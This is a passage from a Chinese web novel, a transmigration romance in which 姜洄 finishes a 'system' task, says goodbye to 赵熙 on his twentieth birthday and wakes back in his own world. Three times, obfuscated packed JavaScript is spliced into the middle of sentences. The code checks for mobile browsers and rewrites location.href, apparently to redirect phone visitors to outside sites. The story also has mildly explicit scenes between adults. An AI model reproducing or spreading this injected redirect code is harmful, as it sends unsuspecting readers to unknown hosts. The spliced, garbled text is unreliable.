姜洄指了指自己,教授点头:“对,就是你同学。” 姜洄没想到进社会这么多年了,有朝一日还会被喊同学,心情真是相当复杂。 赵熙示意他尽管去,他就等在后门门口。 老教授问:“同学,你叫什么名字?有没有兴趣深入研究这门课题啊?你要是有兴趣,我可以收你当关门弟子。” 第一个问题就这样尴尬,姜洄只好扯扯嘴角,礼貌道:“我姓姜,不是本校的学生,不好意思啊老师。” 可惜他根本就不是学生了,也没有那个精力再去学这些。 老教授有些遗憾,倒也没有强求:“那就是没有缘分了……对了,我看你和赵熙是一起来的?你们认识?” 姜洄含糊道:“嗯,是朋友。” “怪不得,”老教授眉开眼笑,“赵熙这孩子好啊,也爱学习,我的课上就他听得最认真,奖学金就没落下过,怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065343|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得你们能做朋友呢。” 姜洄斟酌道:“老师……你们好像都认识赵熙?” “那是当然,这小子来学校一年多,拿了不少奖呢,可是我们学校的大名人,性子也好,开朗不失沉稳,讨老师喜欢,要不是他是音乐系的,我还真想把他收了当关门弟子……” 原来赵熙说他们学院大多数人都认识他不是瞎说。 姜洄舔了下唇,牵起嘴角附和了一句,却已经有些心不在焉了。 和教授告别,转身回过头时,却发现赵熙身边围了几个男男女女,七嘴八舌正问着他什么。 姜洄定住步子,听见了几句。 “那真是你对象啊?” “想不到啊赵系草,一直以为你说有对象是骗我们的呢。” “不是本校的?那是哪里的?” “怪不得说有夫妻相呢,你看他俩眼睛,简直一模一样。” “是很像,但也没有那么夸张吧?” 姜洄脚步停顿了一瞬,还没来得及多听几句,就见赵熙敷衍过一群热情八卦的同学之后,目光精准地定在他身上,眼前微微一亮,随即挤开人群走过来:“聊完了?” 感受到这群年轻学生的视线也随之投了过来,向来众星捧月习惯了的姜洄却有些局促起来。 他僵硬道:“嗯。” 赵熙看出他的不适应,拉住他的手:“走吧,再去逛逛。” 在众人的视线里离开之后,姜洄紧绷的脊背才放松了几分。 “你们聊了些什么?”赵熙问。 姜洄道:“没什么,教授想收我当关门弟子,我说我不是本校的学生……倒是你,很受欢迎啊。” “都是问我从哪里找来这么帅气的对象的。” 赵熙挑眉:“……小叔叔这话,我能当作是吃醋了吗?” 姜洄:“……” 赵熙把下巴搁在他肩上,熟练地用撒娇姿态在他颈窝处蹭了蹭脑袋:“别多想,我只会是小叔叔的。” 姜洄能感觉到一瞬间关注这边的路人都多了,他僵硬道:“知道了,你起来。” 赵熙能感觉到最近小叔叔的情绪莫名低迷,本来以为带他去一趟学校逛一逛会好一些,没想到从学校回来以后,好像更严重了。 他好不容易养得信赖他一些的小叔叔,似乎又把自己缩回了那个看不见的蚌壳里。 屡次试探或是直问都得不到回答,赵熙不免也有些郁闷,床/上行/事难免凶狠了些。 姜洄喊停声他也听不见了,只一昧生着闷气动作。 他气姜洄总不愿意坦诚,也气自己为什么到现在也撬不开小叔叔的心。 等姜洄睡过去了,他老老实实和以前一样帮对方清理过再上了药,抱着人在怀里,闻着熟悉的浅淡兰香,他隐约恐慌的心才好像终于被填满了。 赵熙在心里深深地叹气。 还能怎么办呢,他向来拿小叔叔一点办法都没有。 第二天姜洄差点没能爬起来去上班,赵熙说要帮他请假,姜洄拒绝了。 有些事情必须他亲自来办。 他翻阅着那几份文件,坐在赵氏集团偌大的办公室里,看着那几行字,忽然有些想抽烟了。 姜洄是有烟瘾的,十五岁进了娱乐圈后,有一段时间烟瘾很大,后来因为遇到后来的经纪人担心他身体,让他强制性戒掉了。 姜洄也已经很久没抽烟了,现在却突然生了几分戒烟消愁的想法。 002说:【宿主,距离任务结束时间还有五天。】 【如果你想要留下来,现在还有机会考虑。】 姜洄沉默很久:“你之前说留下来有代价,代价是什么?” 44.限制 002似乎宕机了片刻,发出一阵兹拉兹拉的电流声。 【正在分析……】 【初步判定,如果你此时决定留下来,会有两条限制,你们的寿命都将只剩余二十年。】 【第二条,你不能以真面目示人,从此以后就永远都是赵茴的脸,哪怕是对赵熙也不能说出真相。不过如果你没有违规,本来要留下来,也是有这条限制的。】 姜洄合上文件,垂眼。 长久的沉默里,姜洄的私心和情感在挣扎。 他的情感告诉他,他栽进去了,但私心却说,他还是不想留下来。 002所说的寿命会变短是原因其一。 其二,他不是真的只活了二十几年,真正算起来,他心理年龄已经三十多了,和一头栽进热恋的赵熙不同,他毕竟是清醒理智的,一如从前二十多年的姜洄。 一开始他都没有考虑过留下来,是后来的赵熙成为了他最大的变数和犹豫。 这两个后果,都牢牢拿捏住了他。 那些无数个和赵熙缠绵的夜晚,听着他在自己耳边的暧昧耳语,重复阐述着那些饱满甚至近乎偏执的爱意,姜洄能感觉到,自己正被一个人如此炙热真诚地爱着。 ……哪怕可能只是因为他现在这个身份,因为他曾因这个身份将赵熙拉出过黑暗。 他很难把一个十几岁男生的爱意当真,或许是这么多年的阅历告诉他没有人能经过时间的考验,或许是他本身就不愿相信有人如此真挚地爱着他本身……总之,他不相信赵熙的爱。 他做不到为了这点毫无保障随时会被收回的爱,抛弃自己的姓名和所有过往、所有一步步踩着血泪往上爬后获得的那些荣誉而留下这种事。 无数次他也被这炙热爱意包裹着冲昏了头脑,想要让系统揭开自己脸上的假面,将真正的模样暴露给赵熙看,让他知道自己所谓的“爱人”到底是谁,如同赵熙日记里所说,让他们彼此坦诚相待彻底交融一处,如同交缠的□□一样。 但他毕竟还是个标准的成年人,毕竟是理智冷静的,也是自私无情的。 他害怕着假如揭下这张脸,看着和自己一模一样的面孔,赵熙会不会因此被吓得落荒而逃、从此将他称作怪物,再也不会出现在他面前。 甚至可能揭穿他的真实身份,将他彻底踩入泥潭,一如曾经那些他信任至极、转头却又无情背刺他的人一样。 他的理智告诉他不会,毕竟这个孩子是他亲手养大的,他是姜洄自己,是他最光明那一面。 可也正因为如此,他不敢去赌。 他内心深处是自卑的、逃避的,他不愿失去这份炽热滚烫的爱,而因为无比清楚自己骨子里的自我厌弃,他也不敢相信在暴露了自己的真实面目后赵熙依然会爱他。 所以他不愿意去面对哪怕那么万分之一的可能性。 每次他的手都在即将要揭开面具时停顿下来,那双饱含炙热和疯狂的眼睛,也每次都在此时沉寂下来,像熄了火的灯盏。 他无数次抱着对方炙热的身躯,在那些缠绵暧昧的夜里迷迷糊糊地想着,再等等吧。 等到什么时候呢?他也不知道。 其实姜洄心里很清楚,他在害怕什么。 他害怕赵熙爱的是这张脸、这个身份下的他,而不是原本的、完完整整的他。 他不愿以这样的面目从此和赵熙过一辈子,哪怕赵熙真的能如他所说做到完全不变心,但活在“赵茴”这个名字之下的姜洄,真的还是姜洄吗? 这个世界的赵熙站在最好的起点上,因此变得优秀又耀眼,不论姜洄怎样努力忽视、周身的所有人都在有意无意地告诉他赵熙的优秀和前途无量。 可他同样无法否认另一个世界里还有一个摸爬滚打伤痕累累的“姜洄”,那是一种自我过去所有经历的磨灭与否认。 他骨子里潜藏的自尊与自卑都太固执,这自尊不允许他稀里糊涂带着别人的名字、靠着别人虚无缥缈的爱活下去,而那潜藏的自卑,让他永远无法告知赵熙真相。 姜洄一直都知道自己的答案。 他不会留下来的。 让他不能留下的理由太多了,失去名字与过往、只为几句虚无缥缈的情话誓言与一个不能确信的未来、搭上两个人本该拥有无限可能的不同人生、从此看着赵熙顶着一张和他一样的脸,走向光明人生……而自己,在这世上唯一的联系从此仅剩一个赵熙。 说来可笑,想试试的人是他,难以坦诚与交付信任的是他,如今想要结束的人也是他。 说他自私薄情也好,虚伪阴暗也罢,姜洄不愿深陷下去了。 趁他没有心软,趁赵熙还有机会选择其他人,趁还有离开的机会—— 这段感情,该做个了结了。 原本其实他是打算等成人礼后,只要赵熙学会了公司里该做的工作,就给他转让全部股份,提前回到自己的世界。 可那时他却对系统说,等等吧。 而现在十年期限到了,快要离开了,到如今自己也一步步陷进了这段假意掺杂真情的感情里,他还是要在心头念头百转千回之后,对002说:【再等等吧。】 他想,至少等赵熙生日过了吧。 最后一个生日。 任务期限最后一天。 系统发出冰冷的机械声:【任务期限已到,正在自动判定任务是否成功——】 【任务成功,请宿主选择 1.离开。 2.留下。】 002说:【宿主,你现在不用点选项,我帮你申请了大半个月的滞留时间,但12月7日0点你必须离开,不过你可确定了,除非现在点击留下,否则你就没有机会留下来了。】 姜洄“嗯”了一声。 12月7日。 刚好来得及给赵熙过个生日,也就只是来得及而已。 正在做饭的赵熙察觉到什么,扭头看过来:“怎么了?” 姜洄回神,笑笑:“没什么,在想你越来越会做饭了。” 哪怕他离开,赵熙也能将自己照顾到得很好了。 赵熙总觉得他这个笑里带了些尘埃落定的松快,又好像眼眸里还有几分不知来处的哀伤。 他心里突突的,莫名有些不安定。 但一眨眼,姜洄神色又恢复了正常模样,还有闲暇和他说笑。 好像和从前别无二致,刚刚只是他的错觉。 赵熙眼下喉咙里的疑问,道:“小叔叔想吃,以后可以天天吃。” 姜洄笑着把话题揭过去了。 他抱着崽崽,倚在厨房门边看着赵熙做饭,偶尔接一口他的投喂,和着温度适中的阳光,深秋的冷风从窗户吹进来,院子里的银杏叶应声落了。 这是一个平常的中午。 他们像以往每一个平常的中午一样,吃了一顿平常的午饭。 时间一天天过去。 十一月底,趁着赵熙去学校上课,姜洄开始收拾东西。 他要以“赵茴”的身份消失,才能让真的赵茴合理地出现,所以他准备以旅游的名义离开一段时间,为此,也要意思意思收拾一下行李。 不让赵熙看见,是怕他察觉到什么不对。 ……其实他察觉到了也制止不了什么,但姜洄哪怕只是想想,也不愿看到他伤心难过的表情,下意识要瞒着对方。 他翻出仓库里一只新的行李箱,打开衣柜看了一眼。 他的衣柜一半是赵熙的衣服,一半是自己的,而自己的衣服里,还有一半是赵熙以各种名义和理由为他挑的。 姜洄看了几秒,移开了视线。 这些带走也没意义,更没必要带。 行李除了衣服还能收拾些什么呢? 想到自己毕竟不会再回来了,姜洄沉默着,打开了那个装满了赵熙送给他的礼物的柜子。 他最喜欢的其实是赵熙送给他的那条围巾,但姜洄因为嫌丑没戴过几次,一直压在里面生灰。 但他刚拿起来,002开口了:【宿主,这个你带不回去的。】 姜洄:“……平安符呢?” 【不能。】 “专辑……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074180|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【不能。都不能,】002说,【这个世界里的一切东西,除了你本人,你都带不回去,就连眼镜也是。】 姜洄又沉默了。 002叹气:【宿主,你违规的已经够多了。】 而且,既然都要走了,带着些回去干什么呢?徒增感伤吗? 姜洄没说话了。 他看了一眼被压在最底下的那几张照片,合上了柜子。 最后行李箱里还是什么都没带,仍旧空荡荡的。 “任务结束,我是会被直接传送回去吗?” 【是的。】 “那拜托你一件事。” …… 时间紧迫,越靠近离开的日期,姜洄就越忙。 相应的,陪着赵熙的时间也就少了些,尽管姜洄自认为把情绪瞒得严严实实,赵熙还是察觉到了什么。 他准备找个时间和小叔叔好好谈谈,问问他这段时间是不是精神压力有些太大了,要不要好好休息一段日子……但一直没找到机会。 一晃就来到了赵熙生日当天。 姜洄这天提前许多下了班,两人坐车一同回家,在车上仍旧是平静的,各怀心事。 但到了家,赵熙还没开口,姜洄便先让他等一下,随即上楼,再下来时,手里拿了两个盒子。 一份是全部股权的转让书,一份装着姜洄送的生日礼物,一支包装精美的限量款钢笔。 其实姜洄也想过,人都要走了,还额外送个礼物干什么,不是让赵熙平添念想吗? 但也许是怕他察觉到什么不对劲,也许是怕看到赵熙失望的眼神——虽然哪怕他只是随便送个什么赵熙都不介意,但姜洄还是维持原来的习惯认真挑了礼物。 他把转让书递过去,语气带几分玩笑的意味:“公司所有人全票通过,以后你就是赵氏集团新任CEO了,我可以退休了。” 赵熙接过文件,微微一愣:“……这么快?” 姜洄道:“本来去年就要给你的,但那时候看你忙于学业,就算了。” 只是现在十年期限已经到了,就算姜洄不忍心看他太忙,想帮他继续分担几年也没办法了。 赵熙却并没有多少雀跃欢喜,他轻轻皱着眉,盯着姜洄看了片刻,又舒展开了:“那小叔叔退休了打算做点什么吗?” 姜洄顿了顿,应得若无其事:“那当然是种种花,喝喝茶,闲来无事看个电影撸个猫了。” 他歪了歪脑袋,笑:“又不想替我分担工作了?” 赵熙提了提唇角弧度:“没有,只是……” 只是觉得哪里怪怪的。 他说最近小叔叔怎么那么忙,原来是忙着给他让位? 为什么没有提前告诉他? 为了给他惊喜吗?好像也能说得通,但他最近那种萦绕心头的古怪感觉好像变得更浓了。 说起来,崽崽最近也有些奇怪,特别黏小叔叔,现在正蹲在姜洄膝盖上蹭了蹭去,呼噜呼噜地求摸摸。 姜洄腾出手顺了顺它的毛。 他开口,打断了赵熙的思绪。 “那来吃蛋糕吧。” 赵熙回神,晃了下眼:“好。” 姜洄坐在桌边,帮他插上生日蜡烛,点火,然后看着他闭上眼许愿,像以前的每个生日一样。 随后吹灭蜡烛,熟练地切好蛋糕,将第一块递给了姜洄。 他冷不丁问:“你许的什么愿?” 赵熙看他一眼,无奈道:“都说了不能说出来了,会不灵的。” 从来很听他话的赵熙每次在生日愿望这方面,一直都相当固执。 姜洄张了张口,道:“好吧。” 也只是随口一问罢了。 就在刚才,在蜡烛吹灭之前,姜洄看着他的眉眼,也曾短暂闭上眼,在这个同样是自己生日的日子里,在摇曳的烛火里许下了来到这里后这么多年的第一个愿望。 不管赵熙想要什么,希望他都能得偿所愿。 可惜从今以后,不管赵熙的生日愿望是什么,他都不会再有机会帮他实现了。 45.告别 吃过蛋糕,将崽崽赶去睡觉,赵熙似乎注意到他的目光一直若有若无地注视着自己,忽然扭过头,道:“小叔叔今天怎么一直看我?” 姜洄淡淡一笑:“二十岁了,感觉和以前有哪里不一样了……多看几眼怎么了?” 赵熙忍不住提了提嘴角。 “好,随便看,我不收钱。” 姜洄推了下他肩膀,没计较他嘴里在内涵自己什么:“洗澡去。” 赵熙眨了下眼,看了眼手表上的时间,才六点半,其实他本来准备和小叔叔好好聊一聊的,但似乎眼下氛围不错,提起这个好像也不太合适。 那就明天再说吧。 他顺从地去了。 刚洗完,推开主卧的门,就见姜洄坐在床头,卧室的窗帘被拉上了,只有一盏昏黄的床头灯亮着。 姜洄头发半湿,靠坐在旁边,在看那张他们的合照。 赵熙轻手轻脚走过去,熟练地从柜子里拿出吹风机:“怎么在看这个?” 姜洄指尖拂过照片里赵熙笑意盈盈的眉眼,将相框放回去,轻描淡写道:“随便看看。” 吹风机的低低的嗡鸣声里,姜洄有些昏昏欲睡,莫名又想起了第一次赵熙帮自己吹头发的那个夜晚。 那时候的赵熙还是个十岁出头的小屁孩,有些生疏,个子和坐着的姜洄一样高,时不时会问他烫不烫,有没有抓疼头发……小心翼翼的动作里透出一种奇妙的敬重来。 现在不一样。 哪里不一样呢?大概是赵熙的动作更熟稔了,也从敬重变成了一种珍视。 姜洄头发并不长,前段时间刚剪过,所以吹得也毫不费劲。 不到五分钟,他抓住赵熙的手腕,说:“好了。” 赵熙确定他头发都干了,又吹了半分钟,才依言将吹风机放了回去。 “头发必须吹干才行。最近天气冷,小叔叔也要注意不要着凉了。” “对了。”赵熙合上柜子,转头说,“我看天气预报,明天好像要下雪,而且要下不少天,小叔叔想不想去滑雪玩?” 姜洄顿了顿:“滑雪?” 赵熙道:“余书他们去过几次,江城有不少家滑雪俱乐部,我看他们往年朋友圈挺有意思的,小叔叔想去吗?” 姜洄抿了抿唇:“到时候再看吧。” 赵熙愣了下,也不强求:“好。” 小叔叔最近好像对他提起的所有娱乐活动都不太感兴趣。 从某种直觉来说,他感觉这段时间姜洄整个人的色彩好像都淡下去了,有种……随时会消失的感觉。 姜洄没有等他深想下去,他抬手,勾了下手指:“过来。” 赵熙起身,两步靠近,停在他面前。 姜洄道:“看你对那份股权转让书有些不太感兴趣,我现在给你补个礼物怎么样?” 赵熙低头,看着他被灯光晕染到有些模糊的眉眼,晃了下神,随即被他勾住脖颈,带着吻下去。 赵熙察觉到什么,从善如流地回应着他,一边抚摸他的脊背,好不容易才艰难地分开了些:“小叔叔,你最近是遇到什么事了吗?” 姜洄仍然是那句:“没有。” “别想太多,今天是你生日。”见赵熙沉默,摩挲着他的唇瓣不说话,姜洄哑声道,“高兴一点。” 今晚的姜洄好像格外热情。 在床事上一向是赵熙更加热衷些,姜洄虽然配合他,却也没有主动过几次。 但今天不太一样。 像是要将自己溺死在这片情/欲的海里,好短暂陷入一场不必思考过去与未来的狂欢,姜洄重新攀住赵熙的肩膀,没再松开半分。 赵熙没能思考多久,就被他带着沉沦进去,在姜洄急促炽热的吻里昏了头。 他们拥抱着滚在床上,在交织的呼吸声和放肆的亲吻里,赵熙被他缠住腰身,在他眼尾吻过一遍又一遍。 每当他以为姜洄要受不住的时候,下一秒对方又如同粘腻而阴冷的长蛇一般缠过来,带着似乎渴求不足的吻与冰冷的身体,再次与他交缠一处。 赵熙哑声说:“会受不了的,小叔叔。” 姜洄只是啄了啄他的嘴角,轻声道:“没关系。” 姜洄其实有太多话想说。 他不要赵熙承诺的未来,不要他那些不知能否实现的诺言,也不必对方知道他的真实名姓和过往。 他只希望赵熙记住他身体的温度。 记住他曾来过。 但话到嘴边,却都融化在一个又滚烫的吻里。 恍惚里,看着赵熙在黑暗里隐忍的神色,姜洄又想……算了。 是他食言,是他负心。 不记得也无妨,恨他也无妨。 他这种人,本来就不值得被爱。 他闭上眼,随着赵熙脖子上那条银色蛇链的幅度一起摇晃,共陷欢愉,抵死缠/绵。 …… 结束时已经晚上十点多了,夜幕深沉,姜洄拒绝了赵熙的帮忙,自己去清洗过一回。 赵熙抱着他回床上,正温存着昏昏欲睡时,姜洄突然说:“我明天要去一趟国外。” 气氛突然凝固了。 赵熙原本把脑袋埋在他肩上抱着他,闻言微微抬头,愕然:“什么?” 姜洄没看他,仍然闭着眼,他裸露在空气里的白皙胳膊上全是刚刚留下的暧昧红痕,然而此刻他嘴里说的却是一句毫无情绪的“凌晨的机票”。 赵熙大脑空白了一瞬间,想起他这段时间的种种反常,不由自主将其联系起来,太多的话涌到嘴边,变成一句:“为什么?” “公司交给你我很放心,既然难得有空,就出去玩一玩。”他轻描淡写道,“不是你说的吗?不要总闷在家里。” 赵熙是这么说过没错,还说要陪他一起去来着。 但此时听到这句话,赵熙只觉得不安。 他张了张嘴,落在姜洄手臂上的手抓紧了些,声音里带着不自觉的紧绷:“去哪里?” “不知道,随便逛逛,先去一趟法国。” “为什么这么仓促?” “前两天在考虑,今天才定下来,我怕机票定晚几天就不想去了。”某种意义上来说,这不算说谎。 “我和你一起去。” “你还要上学,而且刚在公司上任ceo,不能轻易离开。别闹。” 赵熙张口半天不知道说什么,心口闷得慌,好像有一瞬间声带都不属于自己了。 半天,他也只能憋出一句:“那我送你。” 姜洄淡淡道:“不用。” 良久,赵熙声音低下来:“小叔叔,你总说你没事,但我能感觉到你最近心情不好……真的步能告诉我怎么了吗?” 说这话的时候他很熟练地用额头轻轻去蹭姜洄的鬓发,这是他常用的撒娇姿态。 姜洄又心软了。 安静很久,他说:“过几天回来,你就知道了。” 赵熙有些不满意,但也不想问太多惹他厌烦:“……那说好了,你回来就告诉我。” 姜洄没有再说话。 他反手拍拍赵熙的肩膀:“睡吧。” 赵熙心砰砰地跳,总有些不安。 他抱紧了姜洄的身体,被对方嫌热推开了些,委屈巴巴的:“明天你就要走了,还不让我抱一抱?” 姜洄便不吭声了。 …… 十一点半的时候,姜洄准时睁开了眼。 他其实根本没睡,不过失眠已经成了习惯,影响也不是很大。 他小心翼翼从赵熙怀里起身,套上衣服下了床。 难得赵熙没有被他惊醒,或许是他今晚也折腾得有些累了。 姜洄腿还抖着,几个小时过去酸痛更加明显,但他没发出声音,回头看了眼赵熙。 晦暗的灯光下,赵熙微微蹙着眉,似乎睡得不太安稳。 他比姜洄身材更壮实,以往也都是他先起床离开,这是为数不多的几次,姜洄能见到他 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赵熙什么时候下来的? 他放在楼梯口的行李箱什么都没装,赵熙发现了吗? 但开口时,说的却是:“怎么醒了,我吵到你了?” 语气稀松平常。 赵熙道:“没有。” “你是这个点的飞机吗?” 姜洄:“嗯。” “不要我送你?” “真的不用。” 见他陷入长久的沉默,姜洄主动开口,打破沉寂:“你想说什么吗?” 赵熙似乎犹豫了一下,他又靠近了些,停在姜洄行李箱旁,伸手抓住他按在行李箱上的手:“……可以不走吗?” 声音有些低,很轻,像是梦呓一般飘在落针可闻的空气里。 他似乎察觉到了什么。 黑暗中,有种他们心知肚明却未曾言明的默契在沉淀。 良久,姜洄沉默,摇头。 “不可以。” 从始至终,他内心都很清楚,赵熙爱的是这个人,是原主皮囊下光芒璀璨的他,而不是经历过穷困潦倒、痛苦半生的自己。 他们的爱是不对等的,因为姜洄从一开始就是抱着玩弄的恶劣心思和他在一起的。 他们所知的信息也是不对等的。 因为姜洄的懦弱——他没有办法开口告诉赵熙真相,也不愿去想如果赵熙知道了真相会是什么反应。 既然他们不会有结局,那么不如及时离开。 何况他已经没有了选择留下来的权利。 姜洄本想走得安静一些。 可他这一生,似乎经历最多、也是后来最熟练的事情,就是学会和各种人与物告别。 和落日小巷,和带给他十几年痛苦的父亲,和沈云落,和猫。 现在还要再加一个赵熙。 有一瞬间赵熙心慌到喘不上气,他舔了舔唇,好不容易才没有在姜洄面前露出什么丑态来:“……那什么时候回来?” 姜洄没有回答。 他轻轻挣开对方的手,推着行李箱越过赵熙,走到玄关处按亮了灯。 灯光乍然亮起的那一刻,赵熙一瞬间被刺眼夺目的光占据了视线。 姜洄看向客厅墙上的挂钟,语气轻松,却没有回头。 “我今天好像还没和你说过。” 他轻声道:“二十岁生日快乐,赵熙。” 他用一句生日快乐,代替所有留恋与告别。 不是亲昵地喊西西,也不是戏谑地喊他“侄子”,而是用这个由姜洄亲手挑选给他的名字:赵熙。 他郑重地和赵熙告别,在这个最后的夜晚,在所有情绪都包含住的这一声生日快乐里。 希望你今后顺遂平安,未来光明灿烂。 就像你的名字所期待的一样。 46.灯光 姜洄没有再回头,他打开了大门。 刺骨的冷风一瞬间冲到脸上,冷静了他的思绪。 行李箱的滚轮哗啦啦地动,直到他走远,消失。 回头时看见空荡荡的街道,他竟然有些松口气,庆幸赵熙没有追出来。 其实本来也不可能追出来——在赵熙的视角,他只是去一趟国外而已,又不是要死了。 曾经姜洄曾无数次地劝说过自己,他们是一样的,以此来压抑自己日益增长的不平心。 但如今想来,他们只能真的一样吗? 不,不一样的。 姜洄站在寒风中,听着耳边刺耳的呼啸风声,垂着眸光想。 他总是试图安慰自己,说服自己,告诉自己,他们是一个人。不管环境如何变、身份如何变,只要那张脸一样,就都是一个人。 可是终归还是不一样的。 不同的环境养出来的孩子,不可能成为同一个人。 赵熙是赵熙,他是他。 他总在想,凭什么呢? 凭什么赵熙什么都有?而他什么都没有。 想了这么多年,他仍旧放不下这些阴暗的念头。 救赎很好,可赵熙终究不是姜洄。 姜洄垂下脑袋,抬手放到太阳穴边,微微闭眼。 承认吧,你从来没有真正拯救过自己。 他救下的,只有十岁的黑崽。 十岁的姜洄,十五岁的姜洄,已经没有人能救了。 ——他真的觉得赵熙现在这样很好吗? 并没有。 那些赵熙站在人前光鲜亮丽的时候,他只是看着,嫉妒就在他心里压得层层叠叠,堆得他要疯了。 他救了赵熙,那他呢?谁来救? 从相遇开始,他们就注定只有分别这条路可以走。 他们的人生就像是两条本该平行的线,因为意外短暂相逢相交,亲密缠绵后要面对的仍旧是冰冷的现实。 20岁之前,姜洄不算一个优秀的人。 20岁之后,姜洄不算一个好人。 这么多年,他一直努力压抑着这种丑恶的心态,哪怕和赵熙在一起后有所抑制消减,也没有完全消失。 不平衡的关系早晚会有结束的那一天。 姜洄不愿让自己在曾经的另一个“自己”面前,露出这样妒恶不平的丑态。 终究是他对不起赵熙。 就当他是个不值得留恋的过客吧,爱他,恨他,然后在岁月的进程里,淡忘了他。 就像所有过路情人一样。 回去吧,那里才是他的世界。 赵熙会有一个很好的未来,而这个未来,不该有他的存在。 他始终明白,这一场分别是命中注定且无可更改的,可是当这一天真正到来时—— 姜洄抬手,手指抚过脸颊。 却发现一点湿意沾染在他指尖。 从小到大都没哭过几次的姜洄,拳头落在身上时没有哭,被朋友背叛没有哭,被全网黑的时候没有哭,被上司骚扰的时候没有哭,亲手埋掉狸花猫的尸体的时候也没有哭。 ……现在,他竟因为这样一场命中注定、早已预料的分别,落泪了。 姜洄就这样愣愣地盯着指尖看了很久,直到系统的倒计时开始催促。 他轻轻吸了一口气,站起身,推着行李箱进了机场。 口袋里的手机响了,他脚步微微顿了顿,也没有摸出来看。 赵熙的那一句“到了记得给我报平安,小叔叔^v^”,最终也无人看见。 姜洄没再回头,身影消失在了黑暗之中。 …… 【任务结束倒计时,十、九……三、二、一。】 离开本世界的系统倒计时到最后一秒时,姜洄眼前一阵白光闪过。 【正在脱离本世界。】 长达半分钟的白芒之后,再睁开眼,姜洄晃神了很久。 头顶是白花花的天花板,鼻端闻到了属于医院的消毒水味。 姜洄缓了片刻,坐起身,发现自己穿着病号服,和之前刚穿越成“赵茴”时几乎一模一样。 不同的是,他现在身上插着呼吸机和氧气管,手背还打着吊瓶。 正在犹豫要不要拔掉身上的这些东西去卫生间看一眼到底有没有回来,脑海里002出声了:【恭喜宿主,回到原本世界线!】 姜洄微微松懈了几分:“你还没走?” 【马上就要解除绑定了。】002道,【宿主任务完成得非常圆满,受系统影响,你的身体会慢慢恢复的,不用担心。不过还有一件事——】 它说,【因为和平行世界人物产生感情纠葛,为了避免产生误会,你可以选择消除“赵熙”关于和你在一起的记忆,宿主是否选择消除呢?】 姜洄:“……不用了。” 他垂眼看着自己干瘦的手指,想,“直接解除绑定吧。” 他太了解赵熙了,就像赵熙了解他一样。 不会有误会的,赵茴回去的第一眼,赵熙绝对能分辨出原主不是他。 他不愿让赵熙忘记他,不管恨也好、爱也好,这样一段感情,不能只有他记得。 他就是这样一个自私的人,赵熙早就该明白的,会为了尝试情爱和名义上的“侄子”在一起的人,能是个什么好人? 而且他穿越后联系的所有人都是用注册的新号,当作工作号来用,走的时候把新号的卡从手机里扔了。 赵熙也在这个号的联系方式里面,看见原主和姜洄的联系方式不同,他也该明白了。 002也没有多劝,反正宿主决定的事情它再劝也没有用:【好的,那……就再见了?】 “嗯。” 【申请解除系统绑定中,正在解除……三、二、一。】 姜洄轻声道:“再见。” 【再见。宿主,祝你今后生活愉快。】 又一阵白芒闪过。 姜洄静了两秒,在心里喊:“小二。” 无人应答。 ——现在,是真的一切都结束了。 姜洄往后靠坐在床头,忽然有一瞬间的茫然。 门口巡查的护士发现了他醒了,推门进来惊呼一声,立即匆匆喊了负责的医生来看,一群人围着他眼神稀奇,像是在打量什么稀罕物。 接收到消息的经纪人李哥赶过来,见他真的醒了也是松了一口气,闻言吐槽:“都说你没救了,谁能想到你都成植物人了,躺了半个月,竟然就好了?” 竟然只过去了半个月吗? 姜洄眼神恍惚了一下。 可他看着现在的一切,好像已经度过了许多年才见一样,充斥着陌生感。 他找李哥拿来自己的手机,翻阅着在穿越之前的聊天记录,置顶里没了和赵熙的消息。 打开前置摄像头,看着手机里熟悉的脸,他猝不及防又晃了下神。 李哥有些奇怪:“怎么了?你表情怪怪的。” 姜洄很久才笑了一声,收起手机,淡淡道:“没事,只是在想,是谁撞的我?” 李哥表情严肃起来,左右看你眼,放下手里在削的苹果,凑近道:“我查过了,虽然警方那边还没出最终的结果,但应该是盛兴娱乐干的。” 姜洄的老东家。 从解约后独自成立工作室开始姜洄就没理会过他们,时隔一年竟然又开始作妖了。 姜洄心里并不非常意外,他冷笑一声:“知道了,有什么新消息记得告诉我。” 赵茴的账算完了……该算他自己的了。 …… 赵熙看着姜洄离开,回过神飞奔上楼,找了间能看见外面的房间,站在窗边看着姜洄的身影消失在了黑暗里。 发完消息,他坐在主卧的床边,久久没收到回复,安慰自己,应该是上飞机了,小叔叔落地会回的。 他躺上床,抱着还有些余温的被子,想起刚刚被小叔叔惊醒后,不知出于什么心理,他没有第一时间起身。 这么多年因为小叔叔常做噩梦的习惯,他已经变得相当敏锐,怎么可能没有察觉对方起床的动静? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084010|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他想看看小叔叔要干什么。 